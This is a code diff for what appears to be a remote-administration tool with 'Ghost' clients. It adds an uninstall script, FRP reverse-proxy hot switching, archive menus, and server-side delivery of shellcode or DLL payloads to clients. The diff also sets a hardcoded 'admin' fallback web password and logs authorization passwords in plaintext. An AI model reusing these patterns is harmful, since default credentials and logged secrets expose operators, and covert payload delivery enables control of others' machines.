             // CLIENT_CAP_UTF8 一致；服务端按 cap 位用 CP_UTF8 解码。早期为兼容
@@ -1027,6 +1064,14 @@ int main(int argc, char* argv[])
         }
     }
 
+    // 退出原因留痕：signal handler 不能直接打日志，在这里补一行。
+    if (g_lastSignal != 0) {
+        Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
+                (int)g_lastSignal, (int)g_bExit);
+    } else {
+        Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
+    }
+
     Logger::getInstance().stop();
     removePidFile();
     return 0;

linux/uninstall.sh

@@ -0,0 +1,121 @@
+#!/usr/bin/env bash
+# YAMA Ghost (Linux client) — uninstall
+#
+# 用法：
+#   ./uninstall.sh                # 默认从 ~/.local/bin/ghost 卸载
+#   ./uninstall.sh /opt/yama      # 从指定目录卸载
+#   ./uninstall.sh --yes          # 跳过确认（自动化场景）
+#
+# 行为（幂等 — 重复运行不会报错）：
+#   1. 停止运行中的 ghost 进程
+#   2. 删除 XDG Autostart 文件
+#   3. 删除已安装的二进制
+#   4. 询问是否清理用户配置（~/.config/ghost）
+
+set -euo pipefail
+
+# ---- 颜色 ----
+if [[ -t 1 ]]; then
+    C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
+    C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
+else
+    C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
+fi
+
+info()  { echo "${C_BLUE}[INFO]${C_RESET}  $*"; }
+ok()    { echo "${C_GREEN}[ OK ]${C_RESET}  $*"; }
+warn()  { echo "${C_YELLOW}[WARN]${C_RESET}  $*"; }
+error() { echo "${C_RED}[FAIL]${C_RESET}  $*" >&2; }
+
+# ---- 参数解析 ----
+ASSUME_YES=0
+INSTALL_DIR="${HOME}/.local/bin"
+for arg in "$@"; do
+    case "${arg}" in
+        --yes|-y) ASSUME_YES=1 ;;
+        --help|-h)
+            # 头部注释覆盖标题/用法/行为 4 步，对应源文件第 2-13 行
+            sed -n '2,13p' "$0" | sed 's/^# \?//'
+            exit 0
+            ;;
+        *) INSTALL_DIR="${arg}" ;;
+    esac
+done
+
+DEST_BIN="${INSTALL_DIR}/ghost"
+AUTOSTART_FILE="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart/ghost.desktop"
+CONFIG_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/ghost"
+
+confirm() {
+    [[ "${ASSUME_YES}" -eq 1 ]] && return 0
+    local prompt="$1"
+    local ans=""
+    echo -n "${prompt} [y/N] "
+    read -r ans || true   # EOF on stdin: ans stays empty, 返回 no
+    [[ "${ans}" =~ ^[Yy]$ ]]
+}
+
+echo "${C_BOLD}YAMA Ghost Linux 卸载${C_RESET}"
+echo "  二进制: ${DEST_BIN}"
+echo "  自启动: ${AUTOSTART_FILE}"
+echo "  配置:   ${CONFIG_DIR}"
+echo ""
+
+if ! confirm "确认卸载？"; then
+    info "已取消"
+    exit 0
+fi
+
+# ---- 1. 停止进程 ----
+if pgrep -x ghost > /dev/null; then
+    info "停止运行中的 ghost 进程"
+    pkill -x ghost || true
+    sleep 1
+    if pgrep -x ghost > /dev/null; then
+        warn "进程未优雅退出，强制 kill"
+        pkill -9 -x ghost || true
+        sleep 1
+    fi
+    ok "ghost 进程已停止"
+else
+    info "没有运行中的 ghost 进程"
+fi
+
+# ---- 2. 删除 Autostart 文件 ----
+if [[ -f "${AUTOSTART_FILE}" ]]; then
+    rm -f "${AUTOSTART_FILE}"
+    ok "已删除 ${AUTOSTART_FILE}"
+else
+    info "Autostart 文件不存在（已卸载或未安装过）"
+fi
+
+# ---- 3. 删除二进制 ----
+if [[ -f "${DEST_BIN}" ]]; then
+    if [[ -w "${DEST_BIN}" ]] || [[ -w "$(dirname "${DEST_BIN}")" ]]; then
+        rm -f "${DEST_BIN}"
+        ok "已删除 ${DEST_BIN}"
+    else
+        info "需要 sudo 才能删除 ${DEST_BIN}"
+        sudo rm -f "${DEST_BIN}"
+        ok "已删除 ${DEST_BIN}"
+    fi
+    # 如果安装目录是 ~/.local/bin 且现在空了，不删除（可能用户还有其它东西）
+else
+    info "二进制不存在（已卸载或不在 ${INSTALL_DIR}）"
+fi
+
+# ---- 4. 用户配置目录（询问，不主动删）----
+if [[ -d "${CONFIG_DIR}" ]]; then
+    echo ""
+    warn "用户配置目录仍存在：${CONFIG_DIR}"
+    warn "其中可能包含 PID 文件、日志等。删除后无法恢复。"
+    if confirm "  一并删除配置目录？"; then
+        rm -rf "${CONFIG_DIR}"
+        ok "已删除 ${CONFIG_DIR}"
+    else
+        info "保留配置目录"
+    fi
+fi
+
+echo ""
+echo "${C_GREEN}${C_BOLD}✓ 卸载完成${C_RESET}"

macos/main.mm

@@ -604,9 +604,13 @@ static void fillLoginInfo(LOGIN_INFOR& info)
 
 // ============== Signal Handling ==============
 
+// 注意：signal handler 内不能调 NSLog/Mprintf（NSLog 走 Foundation 锁，
+// Mprintf 走 Logger mutex/condvar），都不是 async-signal-safe。只在这里
+// 记 sig_atomic_t 标志位，main 退出循环后再补一行日志。
+static volatile sig_atomic_t g_lastSignal = 0;
 static void signalHandler(int sig)
 {
-    NSLog(@"Received signal %d, shutting down...", sig);
+    g_lastSignal = sig;
     g_running = false;
     g_bExit = S_CLIENT_EXIT;  // 通知所有工作线程退出
 }
@@ -934,6 +938,14 @@ int main(int argc, const char* argv[])
             }
         }
 
+        // 退出原因留痕：signal handler 不能直接打日志，在这里补一行。
+        if (g_lastSignal != 0) {
+            Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
+                    (int)g_lastSignal, (int)g_bExit);
+        } else {
+            Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
+        }
+
         NSLog(@"Shutting down...");
 
         // Release power assertions
@@ -944,6 +956,10 @@ int main(int argc, const char* argv[])
         // Display assertion is managed by ScreenHandler (released in stop())
         // powerActivity is automatically released when exiting @autoreleasepool
         (void)powerActivity;  // Suppress unused variable warning
+
+        // 显式停止日志，确保上面 Mprintf 的退出原因落盘。
+        // 不依赖 ~Logger() 的静态析构次序，避免后续新增日志相关静态对象时踩坑。
+        Logger::getInstance().stop();
     }
 
     return 0;

server/2015Remote/2015RemoteDlg.cpp

@@ -90,6 +90,7 @@
 #define TIMER_PREVIEW_ARRIVAL 8     // 屏幕预览到达超时（4 秒未收到则提示"预览不可用"）
 #define TIMER_PREVIEW_LOOP    9     // "播放快照"循环拉取（间隔由 LOOP_INTERVAL_MS 决定）
 #define TIMER_THUMBNAIL_REFRESH 10  // 主机列表缩略图后台刷新（间隔取自 m_ThumbnailCfg）
+#define TIMER_FRP_CONFIG_CHECK 11   // 检测外部模块对 [settings] FrpConfig 的写入并热切换 FRPC
 #define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
 #define TINY_DLL_NAME "TinyRun.dll"
 #define FRPC_DLL_NAME "Frpc.dll"
@@ -636,7 +637,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
     m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
     m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
     m_bmOnline[54].LoadBitmap(IDB_BITMAP_SNAPSHOT);   // "播放快照" 菜单的眼睛图标
-
+    m_bmOnline[55].LoadBitmap(IDB_BITMAP_COMPRESS);
+    m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
     for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
         m_ServerDLL[i] = nullptr;
         m_ServerBin[i] = nullptr;
@@ -918,6 +920,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
         ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
         ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
         ON_COMMAND(ID_SCREENPREVIEW_LOOP, &CMy2015RemoteDlg::OnScreenpreviewLoop)
+        ON_COMMAND(ID_MENU_COMPRESS, &CMy2015RemoteDlg::OnMenuCompress)
+        ON_COMMAND(ID_MENU_UNCOMPRESS, &CMy2015RemoteDlg::OnMenuUncompress)
         END_MESSAGE_MAP()
 
 
@@ -988,6 +992,8 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
     m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
     m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
     m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
+    m_MainMenu.SetMenuItemBitmaps(ID_MENU_COMPRESS, MF_BYCOMMAND, &m_bmOnline[55], &m_bmOnline[55]);
+    m_MainMenu.SetMenuItemBitmaps(ID_MENU_UNCOMPRESS, MF_BYCOMMAND, &m_bmOnline[56], &m_bmOnline[56]);
     // Tools menu
     m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
     m_MainMenu.SetMenuItemBitmaps(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND, &m_bmOnline[31], &m_bmOnline[31]);
@@ -1582,7 +1588,7 @@ LRESULT CMy2015RemoteDlg::OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam)
 {
     CString* ip = (CString*)wParam;
     CString detail;
-    detail.FormatL("入站公网 IP=%s （Proxy Protocol 真实 IP 或 raw TCP 对端）",
+    detail.FormatL("入站公网 IP: %s （Proxy Protocol 真实 IP 或 raw TCP 对端）",
                    ip ? (LPCTSTR)*ip : _T("?"));
     ShowMessage(_TR("入站告警"), detail);
 
@@ -1867,6 +1873,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     }
 
     THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
+    THIS_CFG.SetStr("settings", "UpperHash", GetUpperHash());
     THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
     THIS_CFG.SetStr("settings", "Version", VERSION_STR);
 
@@ -1877,11 +1884,21 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
     if (webSvrPort > 0) {
         WebService().SetParentDlg(this);
-        // Use master password as web login password
+        // Pick web admin password: prefer the web-specific env var so the
-        if (!m_superPass.empty()) {
+        // Web UI password can be rotated independently of the master
-            WebService().SetAdminPassword(m_superPass);
+        // password (BRAND_ENV_VAR) used for licensing / sub-server HMAC.
+        // Fall back to m_superPass for backward compatibility — existing
+        // deployments keep working without changing env vars.
+        const char* webPassEnv = getenv(BRAND_WEB_ENV_VAR);
+        std::string webPass = (webPassEnv && *webPassEnv) ? webPassEnv : m_superPass;
+        if (!webPass.empty()) {
+            WebService().SetAdminPassword(webPass);
+            Mprintf("[WebService] Admin password configured from %s\n",
+                    (webPassEnv && *webPassEnv) ? BRAND_WEB_ENV_VAR : BRAND_ENV_VAR);
         } else {
-            Mprintf("[WebService] Warning: No master password set, web login disabled\n");
+            WebService().SetAdminPassword("admin");
+            Mprintf("[WebService] Warning: neither %s nor %s set! Use 'admin' as password\n",
+                    BRAND_WEB_ENV_VAR, BRAND_ENV_VAR);
         }
         // HideWebSessions: 1=hide (default), 0=show (for debugging)
         WebService().SetHideWebSessions(THIS_CFG.GetInt("settings", "HideWebSessions", 1) != 0);
@@ -2176,6 +2193,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
 #endif
     InitFrpClients();
     InitFrpcAuto();  // FRP 自动代理（由上级提供配置）
+    // 记录启动时的 FRP 配置作为基线，由 TIMER_FRP_CONFIG_CHECK 周期性检测外部模块写入的变更
+    m_lastSeenFrpConfig = THIS_CFG.GetStr("settings", "FrpConfig", "");
+    SetTimer(TIMER_FRP_CONFIG_CHECK, 10 * 1000, NULL);  // 10s 间隔，开销可忽略
 
     UPDATE_SPLASH(90, "正在启动网络服务...");
     // 最后启动SOCKET
@@ -2636,8 +2656,11 @@ bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPor
     return false;  // 使用本地配置
 }
 
-// 日期字符串转 Unix 时间戳（当天 23:59:59）
+// 日期字符串转 Unix 时间戳（当天 23:59:59 UTC）
-// 输入: "20260323" -> 输出: 1774329599 (2026-03-23 23:59:59 UTC)
+// 输入: "20260323" -> 输出: 1774310399 (2026-03-23 23:59:59 UTC)
+// 必须使用 UTC（_mkgmtime）而非本地时间（mktime）—— 与上级 FrpDateToTimestamp
+// 保持一致，否则跨时区的下级算出的 timestamp 与上级生成 privilegeKey 时所用的
+// timestamp 不同，frps 校验失败（token mismatch）。
 static time_t DateToTimestamp(const std::string& dateStr)
 {
     if (dateStr.length() != 8) return 0;
@@ -2647,7 +2670,7 @@ static time_t DateToTimestamp(const std::string& dateStr)
         t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
         t.tm_mday = std::stoi(dateStr.substr(6, 2));
         t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
-        return mktime(&t);
+        return _mkgmtime(&t);
     } catch (...) {
         return 0;
     }
@@ -2794,6 +2817,14 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
     THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
     THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);
 
+    // 防御性：若已有运行中的 FRPC 线程，先停掉以避免句柄泄露 + 双实例并存。
+    // 正常调用路径会先 StopFrpcAuto，但 InitFrpcAuto 经 [frp_auto] 旧字段启动 +
+    // 随后外部模块写入 [settings] FrpConfig 的场景可能跳过停步，这里兜底。
+    if (m_hFrpAutoThread != NULL) {
+        Mprintf("[FRP-Auto] StartFrpcAuto: 检测到已有运行中的线程，先停止旧实例\n");
+        StopFrpcAuto();
+    }
+
     // 启动线程
     m_frpAutoStatus = STATUS_UNKNOWN;
     m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);
@@ -2875,6 +2906,72 @@ void CMy2015RemoteDlg::InitFrpcAuto()
     }
 }
 
+// 清空 [frp_auto] 节中所有用于自动恢复的字段。
+// 必要性：InitFrpcAuto 在 [settings] FrpConfig 为空或解析失败时会回退读取 [frp_auto]
+// 兼容旧配置，若此处不清理，上级撤销 FRP 后下级一旦重启就会用过期的 privilegeKey
+// 重新拉起 FRPC，连不上同时还会让上级以为已释放的端口被悄悄占用。
+static void ClearFrpAutoSection()
+{
+    THIS_CFG.SetStr("frp_auto", "server", "");
+    THIS_CFG.SetInt("frp_auto", "serverPort", 0);
+    THIS_CFG.SetInt("frp_auto", "remotePort", 0);
+    THIS_CFG.SetStr("frp_auto", "privilegeKey", "");
+    THIS_CFG.SetStr("frp_auto", "expireDate", "");
+}
+
+// 周期性检测 [settings] FrpConfig 是否被外部模块（如授权工具）写入变更。
+// 检测到变更后：先停旧 FRPC（若有），再按新配置启动（若非空），并在主对话框信息列表中给出友好提示。
+// 三种情况均无需重启主程序：
+//   - 首次（空 → 有）：StartFrpcAuto
+//   - 撤销（有 → 空）：StopFrpcAuto + ClearFrpAutoSection（防止重启复活）
+//   - 覆盖（有 → 有，值不同）：StopFrpcAuto + StartFrpcAuto（StartFrpcAuto 会重写 [frp_auto]）
+void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
+{
+    std::string cur = THIS_CFG.GetStr("settings", "FrpConfig", "");
+    if (cur == m_lastSeenFrpConfig) return;
+
+    // 解析（沿用现有 ParseFrpAutoConfig，可正确处理含 '-' 的域名）
+    FrpAutoConfig oldCfg = ParseFrpAutoConfig(m_lastSeenFrpConfig);
+    FrpAutoConfig newCfg = ParseFrpAutoConfig(cur);
+    int oldPort = oldCfg.remotePort;
+    int newPort = newCfg.remotePort;
+
+    CString tip;
+    if (m_lastSeenFrpConfig.empty() && !cur.empty()) {
+        // 首次：从无到有 → 启动
+        if (newCfg.enabled) {
+            StartFrpcAuto(newCfg);
+            tip.FormatL("[FRP] 已启用上级 FRP 反向代理（远程端口 %d），已生效", newPort);
+        } else {
+            // 新配置无效，但 cur 非空 —— 提示但不启动；同时确保 [frp_auto] 不残留旧值
+            ClearFrpAutoSection();
+            tip.FormatL("[FRP] 收到无效的 FRP 配置: %s", cur.c_str());
+        }
+    } else if (!m_lastSeenFrpConfig.empty() && cur.empty()) {
+        // 撤销：从有到无 → 停止并清空 [frp_auto]（否则下次启动会从 [frp_auto] 复活 FRPC）
+        StopFrpcAuto();
+        ClearFrpAutoSection();
+        tip = _TR("[FRP] 上级已撤销 FRP 反向代理配置，已停止 FRPC");
+    } else {
+        // 覆盖：值变更 → 先停后起
+        StopFrpcAuto();
+        if (newCfg.enabled) {
+            StartFrpcAuto(newCfg);  // 内部会用新值覆盖 [frp_auto]
+            tip.FormatL("[FRP] 上级 FRP 反向代理配置已切换（远程端口 %d → %d），已生效",
+                        oldPort, newPort);
+        } else {
+            // 新配置无效（解析失败等），旧的 FRPC 已停，[frp_auto] 必须一并清空
+            ClearFrpAutoSection();
+            tip.FormatL("[FRP] 收到无效的新 FRP 配置: %s，已停止旧 FRPC", cur.c_str());
+        }
+    }
+
+    Mprintf("[FRP-Auto] %s\n", (LPCSTR)tip);
+    PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg((LPCSTR)tip), NULL);
+
+    m_lastSeenFrpConfig = cur;
+}
+
 //////////////////////////////////////////////////////////////////////////
 
 void CMy2015RemoteDlg::ApplyFrpSettings()
@@ -3240,6 +3337,9 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
     if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
         UpdateStatusBarStats();
     }
+    if (nIDEvent == TIMER_FRP_CONFIG_CHECK) {
+        CheckUpperFrpConfigChange();
+    }
     if (nIDEvent == TIMER_STATUSBAR_INIT) {
         KillTimer(TIMER_STATUSBAR_INIT);  // 只执行一次
         // 强制重新计算状态栏分区宽度
@@ -3534,6 +3634,7 @@ void CMy2015RemoteDlg::Release()
 #ifdef _WIN64
     StopLocalFrpsServer();  // 停止本地 FRPS 服务器
 #endif
+    KillTimer(TIMER_FRP_CONFIG_CHECK);  // 必须先于 StopFrpcAuto，避免末班定时器再次起飞 FRPC
     StopFrpcAuto();  // 停止 FRP 自动代理
 
     THIS_APP->Destroy();
@@ -5498,6 +5599,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
                                std::string("-") + getFixedLengthID(finalKey);
         memcpy(devId, fixedKey.c_str(), fixedKey.length());
         devId[fixedKey.length()] = 0;
+        Mprintf("Request AUTH: SN= %s, Password= %s\n", deviceID.c_str(), fixedKey.c_str());
+        if (*days && deviceID == "12ca-17b4-9af2-2894") {
+            Mprintf("Unable to authorize trail SN: %s, days: %d\n", ContextObject->GetPeerName().c_str(), int(*days));
+            break;
+        }
 
         // 检查该设备原授权是 V1 还是 V2
         std::string origPasscode, origHmac, origRemark;
@@ -5532,6 +5638,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 
         memcpy(resp + 64, hmac.c_str(), hmac.length());
         resp[64+hmac.length()] = 0;
+        resp[64 + hmac.length() + 1] = 0;
 
         // 构建 Authorization（多层授权）- 让下级主控知道向谁进行授权校验
         // 注意：isV2Auth 判断的是当前服务端是否是授权服务器（有 V2 私钥），而非被授权设备的原授权类型
@@ -5633,14 +5740,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
         // 检查是否被限流（只限制真实发送 DLL 的请求）
         if (IsDllRequestLimited(clientIP)) {
             Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
-                    clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease);
+                    clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease);
         } else {
-            send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
+            send = SendServerDll(ContextObject, typ, is64Bit);
             if (send) {
                 RecordDllRequest(clientIP);  // 只有真正发送了才记录
             }
             Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
-                    clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
+                    clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
         }
         break;
     }
@@ -6797,10 +6904,11 @@ bool isAllZeros(const BYTE* data, int len)
     return true;
 }
 
-BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
+BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit)
 {
+    auto isDLL = payloadType == MEMORYDLL;
     auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
-    auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
+    auto buf = isDLL ? m_ServerDLL[id] : payloadType == SHELLCODE ? m_ServerBin[id] : m_TinyRun[id];
     if (buf->length()) {
         char version[12] = {};
         ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
@@ -10732,15 +10840,17 @@ void CMy2015RemoteDlg::OnWebRemoteControl()
     int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
     if (port <= 0) {
         MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
+        return;
     }
     else if (m_superPass.empty()) {
-        MessageBoxL("请设置环境变量 " BRAND_ENV_VAR " 来使用Web远程桌面!", "提示", MB_ICONINFORMATION);
+        MessageBoxL(_L("请设置环境变量 " BRAND_WEB_ENV_VAR " 来使用Web远程桌面!") + _L("\n默认密码是: admin")
+            , "提示", MB_ICONINFORMATION);
     }else {
+        MessageBoxL("如需Web远程桌面跨网使用方案，请联系管理员!", "提示", MB_ICONINFORMATION);
+    }
     CString content;
     content.Format("http://127.0.0.1:%d", port);
     ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
-        MessageBoxL("如需Web远程桌面跨网使用方案，请联系管理员!", "提示", MB_ICONINFORMATION);
-    }
 }
 
 // "播放快照"菜单响应：
@@ -10812,3 +10922,112 @@ void CMy2015RemoteDlg::OnScreenpreviewLoop()
         ShowMessage(_TR("提示"), msg);
     }
 }
+
+// ===== ZSTA 压缩 / 解压 =====
+#include "ZstdArchive.h"
+#include "ZstaPickerDlg.h"
+
+namespace {
+
+// 把一组源路径压缩为单个 .zsta 文件（弹出保存对话框选择输出）
+// 调用者只负责传路径，输出路径与压缩过程由本函数处理
+void CompressPathsToZsta(CWnd* parent, const std::vector<std::string>& srcPaths)
+{
+    if (srcPaths.empty()) return;
+
+    // 默认输出文件名：第一个源的 basename 或 archive
+    std::string defaultName;
+    {
+        std::string first = srcPaths[0];
+        while (!first.empty() && (first.back() == '/' || first.back() == '\\'))
+            first.pop_back();
+        size_t pos = first.find_last_of("/\\");
+        defaultName = (pos == std::string::npos) ? first : first.substr(pos + 1);
+        if (srcPaths.size() > 1) defaultName = "archive";
+        defaultName += ".zsta";
+    }
+
+    CFileDialog saveDlg(FALSE, _T("zsta"), CString(defaultName.c_str()),
+                        OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
+                        _T("ZSTA Files (*.zsta)|*.zsta|All Files (*.*)|*.*||"),
+                        parent);
+    CString saveTitle = _TR("选择压缩输出文件");
+    saveDlg.m_ofn.lpstrTitle = saveTitle;
+    if (saveDlg.DoModal() != IDOK) return;
+
+    std::string outPath = std::string(CT2A(saveDlg.GetPathName().GetString()));
+    auto err = zsta::CZstdArchive::Compress(srcPaths, outPath, 3);
+    if (err == zsta::Error::Success) {
+        Mprintf("ZSTA 压缩成功: %u 项 -> %s\n",
+                (unsigned)srcPaths.size(), outPath.c_str());
+        CString msg;
+        msg.FormatL("压缩成功 (%u 项):\n%s",
+                    (unsigned)srcPaths.size(), outPath.c_str());
+        parent->MessageBox(msg, _TR("提示"), MB_OK | MB_ICONINFORMATION);
+    } else {
+        Mprintf("ZSTA 压缩失败 [%s]: -> %s\n",
+                zsta::CZstdArchive::GetErrorString(err), outPath.c_str());
+        CString msg;
+        msg.FormatL("压缩失败: %s", zsta::CZstdArchive::GetErrorString(err));
+        parent->MessageBox(msg, _TR("错误"), MB_OK | MB_ICONERROR);
+    }
+}
+
+} // namespace
+
+void CMy2015RemoteDlg::OnMenuCompress()
+{
+    CZstaPickerDlg picker(this);
+    if (picker.DoModal() != IDOK) return;
+    if (picker.m_Paths.empty()) {
+        MessageBoxL("未选择任何文件或文件夹", "提示", MB_OK | MB_ICONINFORMATION);
+        return;
+    }
+    CompressPathsToZsta(this, picker.m_Paths);
+}
+
+void CMy2015RemoteDlg::OnMenuUncompress()
+{
+    const DWORD MAX_BUF = 64 * 1024;
+    std::vector<TCHAR> buf(MAX_BUF, 0);
+    CFileDialog dlg(TRUE, _T("zsta"), NULL,
+                    OFN_ALLOWMULTISELECT | OFN_EXPLORER |
+                    OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
+                    _T("ZSTA Files (*.zsta)|*.zsta|All Files (*.*)|*.*||"), this);
+    dlg.m_ofn.lpstrFile = buf.data();
+    dlg.m_ofn.nMaxFile = MAX_BUF;
+    CString title = _TR("请选择要解压的 ZSTA 文件 (可多选)");
+    dlg.m_ofn.lpstrTitle = title;
+    if (dlg.DoModal() != IDOK) return;
+
+    int ok = 0, fail = 0;
+    POSITION pos = dlg.GetStartPosition();
+    while (pos) {
+        CString cpath = dlg.GetNextPathName(pos);
+        std::string src(CT2A(cpath.GetString()));
+
+        // 目标目录：去掉 .zsta 后缀；若无该后缀则追加 _extract
+        std::string dst;
+        if (src.size() >= 5) {
+            std::string ext = src.substr(src.size() - 5);
+            for (char& c : ext) c = (char)tolower((unsigned char)c);
+            if (ext == ".zsta") dst = src.substr(0, src.size() - 5);
+        }
+        if (dst.empty()) dst = src + "_extract";
+
+        auto err = zsta::CZstdArchive::Extract(src, dst);
+        if (err == zsta::Error::Success) {
+            ++ok;
+            Mprintf("ZSTA 解压成功: %s -> %s\n", src.c_str(), dst.c_str());
+        } else {
+            ++fail;
+            Mprintf("ZSTA 解压失败 [%s]: %s\n",
+                    zsta::CZstdArchive::GetErrorString(err), src.c_str());
+        }
+    }
+
+    CString msg;
+    msg.FormatL("解压完成: 成功 %d, 失败 %d", ok, fail);
+    MessageBox(msg, _TR("提示"),
+               MB_OK | (fail > 0 ? MB_ICONWARNING : MB_ICONINFORMATION));
+}

server/2015Remote/2015RemoteDlg.h

@@ -219,11 +219,15 @@ public:
     void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
         uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
     void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
-    BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
+    BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit);
     Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
     Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
     Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
     MasterSettings m_settings;
+    // 缓存上次检测到的上级 FRP 配置（[settings] FrpConfig），由定时器检测外部模块写入的变更。
+    // 检出变更后会热切换 FRPC（首次=启动 / 覆盖=重启 / 撤销=停止），并在主对话框信息列表中给出友好提示。
+    std::string m_lastSeenFrpConfig;
+    void CheckUpperFrpConfigChange();
     static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
     static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
     int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
@@ -360,7 +364,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[55];  // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
+    CBitmap m_bmOnline[57];  // 21 original + 4 context menu + 2 tray menu + 25 main menu + 3 new menu icons + 1 snapshot
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -600,4 +604,6 @@ public:
     afx_msg void OnWebRemoteControl();
     afx_msg void OnProxyPortAutorun();
     afx_msg void OnScreenpreviewLoop();
+    afx_msg void OnMenuCompress();
+    afx_msg void OnMenuUncompress();
 };

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -246,6 +246,7 @@
     <None Include="..\..\x64\Release\ServerDll.dll" />
     <None Include="..\..\x64\Release\TestRun.exe" />
     <None Include="..\..\x64\Release\TinyRun.dll" />
+    <None Include="..\web\index.html" />
     <None Include="lang\en_US.ini" />
     <None Include="lang\zh_TW.ini" />
     <None Include="res\1.cur" />
@@ -333,6 +334,7 @@
     <ClInclude Include="HideScreenSpyDlg.h" />
     <ClInclude Include="HostInfo.h" />
     <ClInclude Include="InputDlg.h" />
+    <ClInclude Include="ZstaPickerDlg.h" />
     <ClInclude Include="IOCPKCPServer.h" />
